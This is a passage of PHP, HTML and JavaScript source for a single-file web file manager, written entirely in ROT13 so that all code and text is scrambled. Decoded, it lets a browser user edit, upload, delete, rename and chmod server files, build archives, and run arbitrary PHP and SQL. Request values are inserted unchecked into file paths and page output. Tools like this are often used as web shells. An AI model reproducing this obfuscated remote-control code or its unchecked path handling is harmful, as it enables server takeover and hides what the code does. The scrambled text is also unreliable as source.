    $byqpbagrag = @svyr_trg_pbagragf($cngu . $_ERDHRFG['rqvg']);
    $rqvgyvax = $hey_vap . '&rqvg=' . $_ERDHRFG['rqvg'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr obeqre='0' pryyfcnpvat='0' pryycnqqvat='1' jvqgu="100%">
<ge>
    <gu><?=__('Svyr znantre').' - '.__('Rqvg').' - '.$cngu.$_ERDHRFG['rqvg']?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=sz_ubzr()?> <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$rqvgyvax?>">
            <grkgnern anzr="arjpbagrag" vq="arjpbagrag" pbyf="45" ebjf="15" fglyr="jvqgu:99%" fcryypurpx="snyfr"><?=ugzyfcrpvnypunef($byqpbagrag)?></grkgnern>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
            <vachg glcr="fhozvg" anzr="pnapry" inyhr="<?=__('Pnapry')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
rpub $nhgu['fpevcg'];
} ryfrvs(!rzcgl($_ERDHRFG['evtugf'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    vs(sz_puzbq($cngu . $_ERDHRFG['evtugf'], sz_pbaireg_evtugf($_ERDHRFG['evtugf_iny']), @$_ERDHRFG['erphefviryl']))
		$zft .= (__('Svyr hcqngrq')); 
		ryfr $zft .= (__('Reebe bppheerq'));
	}
	pyrnefgngpnpur();
    $byqevtugf = sz_evtugf_fgevat($cngu . $_ERDHRFG['evtugf'], gehr);
    $yvax = $hey_vap . '&evtugf=' . $_ERDHRFG['evtugf'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
           <?=__('Evtugf').' - '.$_ERDHRFG['evtugf']?> <vachg glcr="grkg" anzr="evtugf_iny" inyhr="<?=$byqevtugf?>">
        <?cuc vs (vf_qve($cngu.$_ERDHRFG['evtugf'])) { ?>
            <vachg glcr="purpxobk" anzr="erphefviryl" inyhr="1"> <?=__('Erphefviryl')?><oe/>
        <?cuc } ?>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfrvs (!rzcgl($_ERDHRFG['eranzr'])&&$_ERDHRFG['eranzr']<>'.') {
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    eranzr($cngu . $_ERDHRFG['eranzr'], $cngu . $_ERDHRFG['arjanzr']);
		$zft .= (__('Svyr hcqngrq'));
		$_ERDHRFG['eranzr'] = $_ERDHRFG['arjanzr'];
	}
	pyrnefgngpnpur();
    $yvax = $hey_vap . '&eranzr=' . $_ERDHRFG['eranzr'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;

?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
            <?=__('Eranzr')?>: <vachg glcr="grkg" anzr="arjanzr" inyhr="<?=$_ERDHRFG['eranzr']?>"><oe/>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfr {
//Yrg'f ebpx!
    $zft = '';
    vs(!rzcgl($_SVYRF['hcybnq'])&&!rzcgl($sz_pbasvt['hcybnq_svyr'])) {
        vs(!rzcgl($_SVYRF['hcybnq']['anzr'])){
            $_SVYRF['hcybnq']['anzr'] = fge_ercynpr('%', '', $_SVYRF['hcybnq']['anzr']);
            vs(!zbir_hcybnqrq_svyr($_SVYRF['hcybnq']['gzc_anzr'], $cngu . $_SVYRF['hcybnq']['anzr'])){
                $zft .= __('Reebe bppheerq');
            } ryfr {
				$zft .= __('Svyrf hcybnqrq').': '.$_SVYRF['hcybnq']['anzr'];
			}
        }
    } ryfrvs(!rzcgl($_ERDHRFG['qryrgr'])&&$_ERDHRFG['qryrgr']<>'.') {
        vs(!sz_qry_svyrf(($cngu . $_ERDHRFG['qryrgr']), gehr)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Qryrgrq').' '.$_ERDHRFG['qryrgr'];
		}
	} ryfrvs(!rzcgl($_ERDHRFG['zxqve'])&&!rzcgl($sz_pbasvt['znxr_qverpgbel'])) {
        vs(!@zxqve($cngu . $_ERDHRFG['qveanzr'],0777)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Perngrq').' '.$_ERDHRFG['qveanzr'];
		}
    } ryfrvs(!rzcgl($_CBFG['frnepu_erphefvir'])) {
		vav_frg('znk_rkrphgvba_gvzr', '0');
		$frnepu_qngn =  svaq_grkg_va_svyrf($_CBFG['cngu'], $_CBFG['znfx'], $_CBFG['frnepu_erphefvir']);
		vs(!rzcgl($frnepu_qngn)) {
			$zft .= __('Sbhaq va svyrf').' ('.pbhag($frnepu_qngn).'):<oe>';
			sbernpu ($frnepu_qngn nf $svyranzr) {
				$zft .= '<n uers="'.sz_hey(gehr).'?sz=gehr&rqvg='.onfranzr($svyranzr).'&cngu='.fge_ercynpr('/'.onfranzr($svyranzr),'/',$svyranzr).'" gvgyr="' . __('Rqvg') . '">'.onfranzr($svyranzr).'</n>&aofc; &aofc;';
			}
		} ryfr {
			$zft .= __('Abguvat sbhaqrq');
		}	
	} ryfrvs(!rzcgl($_ERDHRFG['zxsvyr'])&&!rzcgl($sz_pbasvt['arj_svyr'])) {
        vs(!$sc=@sbcra($cngu . $_ERDHRFG['svyranzr'],"j")) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			spybfr($sc);
			$zft .= __('Perngrq').' '.$_ERDHRFG['svyranzr'];
		}
    } ryfrvs (vffrg($_TRG['mvc'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['mvc']);
		$qrfgvangvba = onfranzr($fbhepr).'.mvc';
		frg_gvzr_yvzvg(0);
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		vs (vf_svyr($qrfgvangvba))
		$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
		'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
		.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '. $qrfgvangvba.'" >'.__('Qryrgr') . '</n>';
		ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['tm'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tm']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		pyrnefgngpnpur();
		frg_gvzr_yvzvg(0);
		//qvr();
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		$cune->pbzcerff(Cune::TM,'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}

			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['qrpbzcerff'])) {
		// $fbhepr = onfr64_qrpbqr($_TRG['qrpbzcerff']);
		// $qrfgvangvba = onfranzr($fbhepr);
		// $rkg = raq(rkcybqr(".", $qrfgvangvba));
		// vs ($rkg=='mvc' BE $rkg=='tm') {
			// $cune = arj CuneQngn($fbhepr);
			// $cune->qrpbzcerff();
			// $onfr_svyr = fge_ercynpr('.'.$rkg,'',$qrfgvangvba);
			// $rkg = raq(rkcybqr(".", $onfr_svyr));
			// vs ($rkg=='gne'){
				// $cune = arj CuneQngn($onfr_svyr);
				// $cune->rkgenpgGb(qve($fbhepr));
			// }
		// } 
		// $zft .= __('Gnfx').' "'.__('Qrpbzcerff').' '.$fbhepr.'" '.__('qbar');
	} ryfrvs (vffrg($_TRG['tmsvyr'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tmsvyr']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		frg_gvzr_yvzvg(0);
		//rpub $qrfgvangvba;
		$rkg_nee = rkcybqr('.',onfranzr($fbhepr));
		vs (vffrg($rkg_nee[1])) {
			hafrg($rkg_nee[0]);
			$rkg=vzcybqr('.',$rkg_nee);
		} 
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->nqqSvyr($fbhepr);
		$cune->pbzcerff(Cune::TM,$rkg.'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}
			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	}
?>
<gnoyr pynff="jubyr" vq="urnqre_gnoyr" >
<ge>
    <gu pbyfcna="2"><?=__('Svyr znantre')?><?=(!rzcgl($cngu)?' - '.$cngu:'')?></gu>
</ge>
<?cuc vs(!rzcgl($zft)){ ?>
<ge>
	<gq pbyfcna="2" pynff="ebj2"><?=$zft?></gq>
</ge>
<?cuc } ?>
<ge>
    <gq pynff="ebj2">
		<gnoyr>
			<ge>
			<gq>
				<?=sz_ubzr()?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['znxr_qverpgbel'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" anzr="qveanzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxqve" inyhr="<?=__('Znxr qverpgbel')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['arj_svyr'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu"     inyhr="<?=$cngu?>" />
				<vachg glcr="grkg"   anzr="svyranzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxsvyr"   inyhr="<?=__('Arj svyr')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
				<sbez  zrgubq="cbfg" npgvba="<?=$hey_vap?>" fglyr="qvfcynl:vayvar">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" cynprubyqre="<?=__('Erphefvir frnepu')?>" anzr="frnepu_erphefvir" inyhr="<?=!rzcgl($_CBFG['frnepu_erphefvir'])?$_CBFG['frnepu_erphefvir']:''?>" fvmr="15">
				<vachg glcr="grkg" anzr="znfx" cynprubyqre="<?=__('Znfx')?>" inyhr="<?=!rzcgl($_CBFG['znfx'])?$_CBFG['znfx']:'*.*'?>" fvmr="5">
				<vachg glcr="fhozvg" anzr="frnepu" inyhr="<?=__('Frnepu')?>">
				</sbez>
			</gq>
			<gq>
			<?=sz_eha_vachg('cuc')?>
			</gq>
			<gq>
			<?=sz_eha_vachg('fdy')?>
			</gq>
			</ge>
		</gnoyr>
    </gq>
    <gq pynff="ebj3">
		<gnoyr>
		<ge>
		<gq>
		<?cuc vs (!rzcgl($sz_pbasvt['hcybnq_svyr'])) { ?>
			<sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$hey_vap?>" rapglcr="zhygvcneg/sbez-qngn">
			<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
			<vachg glcr="svyr" anzr="hcybnq" vq="hcybnq_uvqqra" fglyr="cbfvgvba: nofbyhgr; qvfcynl: oybpx; biresybj: uvqqra; jvqgu: 0; urvtug: 0; obeqre: 0; cnqqvat: 0;" bapunatr="qbphzrag.trgRyrzragOlVq('hcybnq_ivfvoyr').inyhr = guvf.inyhr;" />
			<vachg glcr="grkg" ernqbayl="1" vq="hcybnq_ivfvoyr" cynprubyqre="<?=__('Fryrpg gur svyr')?>" fglyr="phefbe: cbvagre;" bapyvpx="qbphzrag.trgRyrzragOlVq('hcybnq_uvqqra').pyvpx();" />
			<vachg glcr="fhozvg" anzr="grfg" inyhr="<?=__('Hcybnq')?>" />
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?cuc vs ($nhgu['nhgubevmr']) { ?>
			<sbez npgvba="" zrgubq="cbfg">&aofc;&aofc;&aofc;
			<vachg anzr="dhvg" glcr="uvqqra" inyhr="1">
			<?=__('Uryyb')?>, <?=$nhgu['ybtva']?>
			<vachg glcr="fhozvg" inyhr="<?=__('Dhvg')?>">
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?=sz_ynat_sbez($ynathntr)?>
		</gq>
		<ge>
		</gnoyr>
    </gq>
</ge>
</gnoyr>
<gnoyr pynff="nyy" obeqre='0' pryyfcnpvat='1' pryycnqqvat='1' vq="sz_gnoyr" jvqgu="100%">
<gurnq>
<ge> 
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Svyranzr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Fvmr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Qngr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Evtugf')?> </gu>
    <gu pbyfcna="4" fglyr="juvgr-fcnpr:abjenc"> <?=__('Znantr')?> </gu>
</ge>
</gurnq>
<gobql>
<?cuc
$ryrzragf = sz_fpna_qve($cngu, '', 'nyy', gehr);
$qvef = neenl();
$svyrf = neenl();
sbernpu ($ryrzragf nf $svyr){
    vs(@vf_qve($cngu . $svyr)){
        $qvef[] = $svyr;
    } ryfr {
        $svyrf[] = $svyr;
    }
}
angfbeg($qvef); angfbeg($svyrf);
$ryrzragf = neenl_zretr($qvef, $svyrf);

sbernpu ($ryrzragf nf $svyr){
    $svyranzr = $cngu . $svyr;
    $svyrqngn = @fgng($svyranzr);
    vs(@vf_qve($svyranzr)){
		$svyrqngn[7] = '';
		vs (!rzcgl($sz_pbasvt['fubj_qve_fvmr'])&&!sz_ebbg($svyr)) $svyrqngn[7] = sz_qve_fvmr($svyranzr);
        $yvax = '<n uers="'.$hey_vap.'&cngu='.$cngu.$svyr.'" gvgyr="'.__('Fubj').' '.$svyr.'"><fcna pynff="sbyqre">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
        $ybnqyvax= (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('mvc',$svyranzr,__('Pbzcerff').'&aofc;mvc',__('Nepuvivat').' '. $svyr);
		$neyvax  = (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tm',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '.$svyr);
        $fglyr = 'ebj2';
		 vs (!sz_ebbg($svyr)) $nyreg = 'baPyvpx="vs(pbasvez(\'' . __('Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?').'\a /'. $svyr. '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"'; ryfr $nyreg = '';
    } ryfr {
		$yvax = 
			$sz_pbasvt['fubj_vzt']&&@trgvzntrfvmr($svyranzr) 
			? '<n gnetrg="_oynax" bapyvpx="ine yrsgb = fperra.ninvyJvqgu/2-320;jvaqbj.bcra(\''
			. sz_vzt_yvax($svyranzr)
			.'\',\'cbchc\',\'jvqgu=640,urvtug=480,yrsg=\' + yrsgb + \',fpebyyonef=lrf,gbbyone=ab,ybpngvba=ab,qverpgbevrf=ab,fgnghf=ab\');erghea snyfr;" uers="'.sz_vzt_yvax($svyranzr).'"><fcna pynff="vzt">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>'
			: '<n uers="' . $hey_vap . '&rqvg=' . $svyr . '&cngu=' . $cngu. '" gvgyr="' . __('Rqvg') . '"><fcna pynff="svyr">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
		$r_nee = rkcybqr(".", $svyr);
		$rkg = raq($r_nee);
        $ybnqyvax =  sz_yvax('qbjaybnq',$svyranzr,__('Qbjaybnq'),__('Qbjaybnq').' '. $svyr);
		$neyvax = va_neenl($rkg,neenl('mvc','tm','gne')) 
		? ''
		: ((sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tmsvyr',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '. $svyr));
        $fglyr = 'ebj1';
		$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    }
    $qryrgryvax = sz_ebbg($svyr) ? '' : '<n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
    $eranzryvax = sz_ebbg($svyr) ? '' : '<n uers="' . $hey_vap . '&eranzr=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Eranzr') .' '. $svyr . '">' . __('Eranzr') . '</n>';
    $evtugfgrkg = ($svyr=='.' || $svyr=='..') ? '' : '<n uers="' . $hey_vap . '&evtugf=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Evtugf') .' '. $svyr . '">' . @sz_evtugf_fgevat($svyranzr) . '</n>';
?>
<ge pynff="<?=$fglyr?>"> 
    <gq><?=$yvax?></gq>
    <gq><?=$svyrqngn[7]?></gq>
    <gq fglyr="juvgr-fcnpr:abjenc"><?=tzqngr("L-z-q U:v:f",$svyrqngn[9])?></gq>
    <gq><?=$evtugfgrkg?></gq>
    <gq><?=$qryrgryvax?></gq>
    <gq><?=$eranzryvax?></gq>
    <gq><?=$ybnqyvax?></gq>
    <gq><?=$neyvax?></gq>
</ge>
<?cuc
    }
}
?>
</gobql>
</gnoyr>
<qvi pynff="ebj3"><?cuc
	$zgvzr = rkcybqr(' ', zvpebgvzr()); 
	$gbgnygvzr = $zgvzr[0] + $zgvzr[1] - $fgneggvzr; 
	rpub sz_ubzr().' | ire. '.$sz_irefvba.' | <n uers="uggcf://tvguho.pbz/Qra1kkk/Svyrznantre">Tvguho</n>  | <n uers="'.sz_fvgr_hey().'">.</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cuc_ire'])) rpub ' | CUC '.cucirefvba();
	vs (!rzcgl($sz_pbasvt['fubj_cuc_vav'])) rpub ' | '.cuc_vav_ybnqrq_svyr();
	vs (!rzcgl($sz_pbasvt['fubj_tg'])) rpub ' | '.__('Trarengvba gvzr').': '.ebhaq($gbgnygvzr,2);
	vs (!rzcgl($sz_pbasvt['ranoyr_cebkl'])) rpub ' | <n uers="?cebkl=gehr">cebkl</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cucvasb'])) rpub ' | <n uers="?cucvasb=gehr">cucvasb</n>';
	vs (!rzcgl($sz_pbasvt['fubj_kyf'])&&!rzcgl($yvax)) rpub ' | <n uers="wninfpevcg: ibvq(0)" bapyvpx="ine bow = arj gnoyr2Rkpry(); bow.PerngrRkpryFurrg(\'sz_gnoyr\',\'rkcbeg\');" gvgyr="'.__('Qbjaybnq').' kyf">kyf</n>';
	vs (!rzcgl($sz_pbasvt['sz_frggvatf'])) rpub ' | <n uers="?sz_frggvatf=gehr">'.__('Frggvatf').'</n>';
	?>
</qvi>
<fpevcg glcr="grkg/wninfpevcg">
shapgvba qbjaybnq_kyf(svyranzr, grkg) {
	ine ryrzrag = qbphzrag.perngrRyrzrag('n');
	ryrzrag.frgNggevohgr('uers', 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,' + grkg);
	ryrzrag.frgNggevohgr('qbjaybnq', svyranzr);
	ryrzrag.fglyr.qvfcynl = 'abar';
	qbphzrag.obql.nccraqPuvyq(ryrzrag);
	ryrzrag.pyvpx();
	qbphzrag.obql.erzbirPuvyq(ryrzrag);
}

shapgvba onfr64_rapbqr(z) {
	sbe (ine x = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/".fcyvg(""), p, q, u, r, n, t = "", o = 0, s, y = 0; y < z.yratgu; ++y) {
		p = z.punePbqrNg(y);
		vs (128 > p) q = 1;
		ryfr
			sbe (q = 2; p >= 2 << 5 * q;) ++q;
		sbe (u = 0; u < q; ++u) 1 == q ? r = p : (r = u ? 128 : 192, n = q - 2 - 6 * u, 0 <= n && (r += (6 <= n ? 1 : 0) + (5 <= n ? 2 : 0) + (4 <= n ? 4 : 0) + (3 <= n ? 8 : 0) + (2 <= n ? 16 : 0) + (1 <= n ? 32 : 0), n -= 5), 0 > n && (h = 6 * (q - 1 - u), r += p >> h, p -= p >> h << h)), s = o ? s << 6 - o : 0, o += 2, s += r >> o, t += x[s], s = r % (1 << o), 6 == o && (o = 0, t += x[s])
	}
	o && (t += x[s << 6 - o]);
	erghea t
}


ine gnoyrGbRkpryQngn = (shapgvba() {
    ine hev = 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,',
    grzcyngr = '<ugzy kzyaf:b="hea:fpurznf-zvpebfbsg-pbz:bssvpr:bssvpr" kzyaf:k="hea:fpurznf-zvpebfbsg-pbz:bssvpr:rkpry" kzyaf="uggc://jjj.j3.bet/GE/ERP-ugzy40"><urnq><!--[vs tgr zfb 9]><kzy><k:RkpryJbexobbx><k:RkpryJbexfurrgf><k:RkpryJbexfurrg><k:Anzr>{jbexfurrg}</k:Anzr><k:JbexfurrgBcgvbaf><k:QvfcynlTevqyvarf></k:QvfcynlTevqyvarf></k:JbexfurrgBcgvbaf></k:RkpryJbexfurrg></k:RkpryJbexfurrgf></k:RkpryJbexobbx></kzy><![raqvs]--><zrgn uggc-rdhvi="pbagrag-glcr" pbagrag="grkg/cynva; punefrg=HGS-8"/></urnq><obql><gnoyr>{gnoyr}</gnoyr></obql></ugzy>',
    sbezng = shapgvba(f, p) {
            erghea f.ercynpr(/{(\j+)}/t, shapgvba(z, c) {
                erghea p[c];
            })
        }
    erghea shapgvba(gnoyr, anzr) {
        vs (!gnoyr.abqrGlcr) gnoyr = qbphzrag.trgRyrzragOlVq(gnoyr)
        ine pgk = {
            jbexfurrg: anzr || 'Jbexfurrg',
            gnoyr: gnoyr.vaareUGZY.ercynpr(/<fcna(.*?)\/fcna> /t,"").ercynpr(/<n\o[^>]*>(.*?)<\/n>/t,"$1")
        }
		g = arj Qngr();
		svyranzr = 'sz_' + g.gbVFBFgevat() + '.kyf'
		qbjaybnq_kyf(svyranzr, onfr64_rapbqr(sbezng(grzcyngr, pgk)))
    }
})();

ine gnoyr2Rkpry = shapgvba () {

    ine hn = jvaqbj.anivtngbe.hfreNtrag;
    ine zfvr = hn.vaqrkBs("ZFVR ");

	guvf.PerngrRkpryFurrg = 
		shapgvba(ry, anzr){
			vs (zfvr > 0 || !!anivtngbe.hfreNtrag.zngpu(/Gevqrag.*ei\:11\./)) {// Vs Vagrearg Rkcybere

				ine k = qbphzrag.trgRyrzragOlVq(ry).ebjf;

				ine kyf = arj NpgvirKBowrpg("Rkpry.Nccyvpngvba");

				kyf.ivfvoyr = gehr;
				kyf.Jbexobbxf.Nqq
				sbe (v = 0; v < k.yratgu; v++) {
					ine l = k[v].pryyf;

					sbe (w = 0; w < l.yratgu; w++) {
						kyf.Pryyf(v + 1, w + 1).Inyhr = l[w].vaareGrkg;
					}
				}
				kyf.Ivfvoyr = gehr;
				kyf.HfrePbageby = gehr;
				erghea kyf;
			} ryfr {
				gnoyrGbRkpryQngn(ry, anzr);
			}
		}
}
</fpevcg>
</obql>
</ugzy>

<?cuc
//Cbegrq sebz ErybnqPZF cebwrpg uggc://erybnqpzf.pbz
pynff nepuvirGne {
	ine $nepuvir_anzr = '';
	ine $gzc_svyr = 0;
	ine $svyr_cbf = 0;
	ine $vfTmvccrq = gehr;
	ine $reebef = neenl();
	ine $svyrf = neenl();
	
	shapgvba __pbafgehpg(){
		vs (!vffrg($guvf->reebef)) $guvf->reebef = neenl();
	}
	
	shapgvba perngrNepuvir($svyr_yvfg){
		$erfhyg = snyfr;
		vs (svyr_rkvfgf($guvf->nepuvir_anzr) && vf_svyr($guvf->nepuvir_anzr)) 	$arjNepuvir = snyfr;
		ryfr $arjNepuvir = gehr;
		vs ($arjNepuvir){
			vs (!$guvf->bcraJevgr()) erghea snyfr;
		} ryfr {
			vs (svyrfvmr($guvf->nepuvir_anzr) == 0)	erghea $guvf->bcraJevgr();
			vs ($guvf->vfTmvccrq) {
				$guvf->pybfrGzcSvyr();
				vs (!eranzr($guvf->nepuvir_anzr, $guvf->nepuvir_anzr.'.gzc')){
					$guvf->reebef[] = __('Pnaabg eranzr').' '.$guvf->nepuvir_anzr.__(' gb ').$guvf->nepuvir_anzr.'.gzc';
					erghea snyfr;
				}
				$gzcNepuvir = tmbcra($guvf->nepuvir_anzr.'.gzc', 'eo');
				vs (!$gzcNepuvir){
					$guvf->reebef[] = $guvf->nepuvir_anzr.'.gzc '.__('vf abg ernqnoyr');
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				vs (!$guvf->bcraJevgr()){
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				$ohssre = tmernq($gzcNepuvir, 512);
				vs (!tmrbs($gzcNepuvir)){
					qb {
						$ovanelQngn = cnpx('n512', $ohssre);
						$guvf->jevgrOybpx($ovanelQngn);
						$ohssre = tmernq($gzcNepuvir, 512);
					}
					juvyr (!tmrbs($gzcNepuvir));
				}
				tmpybfr($gzcNepuvir);
				hayvax($guvf->nepuvir_anzr.'.gzc');
			} ryfr {
				$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'e+o');
				vs (!$guvf->gzc_svyr)	erghea snyfr;
			}
		}
		vs (vffrg($svyr_yvfg) && vf_neenl($svyr_yvfg)) {
		vs (pbhag($svyr_yvfg)>0)
			$erfhyg = $guvf->cnpxSvyrNeenl($svyr_yvfg);
		} ryfr $guvf->reebef[] = __('Ab svyr').__(' gb ').__('Nepuvir');
		vs (($erfhyg)&&(vf_erfbhepr($guvf->gzc_svyr))){
			$ovanelQngn = cnpx('n512', '');
			$guvf->jevgrOybpx($ovanelQngn);
		}
		$guvf->pybfrGzcSvyr();
		vs ($arjNepuvir && !$erfhyg){
		$guvf->pybfrGzcSvyr();
		hayvax($guvf->nepuvir_anzr);
		}
		erghea $erfhyg;
	}

	shapgvba erfgberNepuvir($cngu){
		$svyrAnzr = $guvf->nepuvir_anzr;
		vs (!$guvf->vfTmvccrq){
			vs (svyr_rkvfgf($svyrAnzr)){
				vs ($sc = sbcra($svyrAnzr, 'eo')){
					$qngn = sernq($sc, 2);
					spybfr($sc);
					vs ($qngn == '\37\213'){
						$guvf->vfTmvccrq = gehr;
					}
				}
			}
			ryfrvs ((fhofge($svyrAnzr, -2) == 'tm') BE (fhofge($svyrAnzr, -3) == 'gtm')) $guvf->vfTmvccrq = gehr;
		} 
		$erfhyg = gehr;
		vs ($guvf->vfTmvccrq) $guvf->gzc_svyr = tmbcra($svyrAnzr, 'eo');
		ryfr $guvf->gzc_svyr = sbcra($svyrAnzr, 'eo');
